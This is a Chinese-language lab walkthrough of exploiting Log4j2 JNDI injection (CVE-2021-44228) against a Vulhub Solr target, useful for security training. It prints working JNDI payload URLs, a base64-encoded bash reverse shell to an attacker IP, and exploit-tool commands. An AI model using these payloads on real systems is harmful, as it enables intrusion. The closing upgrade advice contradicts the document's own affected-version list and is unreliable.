文章目录
- Apache Log4j简介
- 漏洞介绍
- 影响版本
- 漏洞编号
- 影响组件应用
- 环境准备
- 靶场搭建
- 漏洞利用
- 利用工具
- 使用方式
- 反弹shell操作
- 漏洞修复建议
Apache Log4j简介
Apache log4j 是 Apache 的一个开源项目, Apache log4j2 是一个 Java 的日志记录工具。该工具重写了 log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
漏洞介绍
log4j2 中存在 JNDI 注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
影响版本
Apache Log4j2 2.0-beta9 - 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)
漏洞编号
CVE-2021-44228
影响组件应用
Apache Struts2
Apache Solr
Apache Druid
Apache Flink
srping-boot-strater-log4j2
环境准备
测试环境 | IP |
---|---|
Kali | 192.168.174.128 |
靶机 | 192.168.174.131 |
靶场搭建
使用vulhub进行靶场搭建,如果不会使用的请看往期文章。
Docker搭建漏洞靶场(Vulhub、Vulnapp、Vulfocus)
使用docker搭建vulfocus的漏洞靶场
cd vulhub-master/log4j/CVE-2021-44228
docker-compose up -d
浏览器访问 http://192.168.174.131:8983/ ,靶场部署成功
漏洞利用
POC测试、出现以下界面,可能存在log4j2 中存在 JNDI 注入漏洞
http://192.168.174.131:8983/solr/admin/cores?action=1
试着访问dnslog,有访问记录,存在log4j2 中存在 JNDI 注入漏洞
dnslog网站
https://www.callback.red/
poc如下:
http://192.168.174.131:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.vx9w.callback.red}
利用工具
Log4j2 - JNDI 注入漏洞利用工具
使用方式
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
反弹shell操作
反弹shell命令
bash -i >& /dev/tcp/ip/port 0>&1
在此kali攻击机构造反弹shell命令
bash -i >& /dev/tcp/192.168.174.128/9999 0>&1
将此条命令进行Java Runtime Bash 编码
编码网站
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定kali的ip地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.174.128
得到反弹shell的EXP
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.174.128:1099/dctv93
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.174.128:1099/fngumm
ldap://192.168.174.128:1389/fngumm
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.174.128:1099/bnntjh
ldap://192.168.174.128:1389/bnntjh
攻击机监听9999端口
nc -lvvp 9999
发送EXP
http://192.168.174.131:8983/solr/admin/cores?action=${jndi:rmi://192.168.174.128:1099/gw42ym}
http://192.168.174.131:8983/solr/admin/cores?action=${jndi:ldap://192.168.174.128:1389/gw42ym}
反弹shell成功
漏洞修复建议
升级到最新版本 2.15.0-rc2 :
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2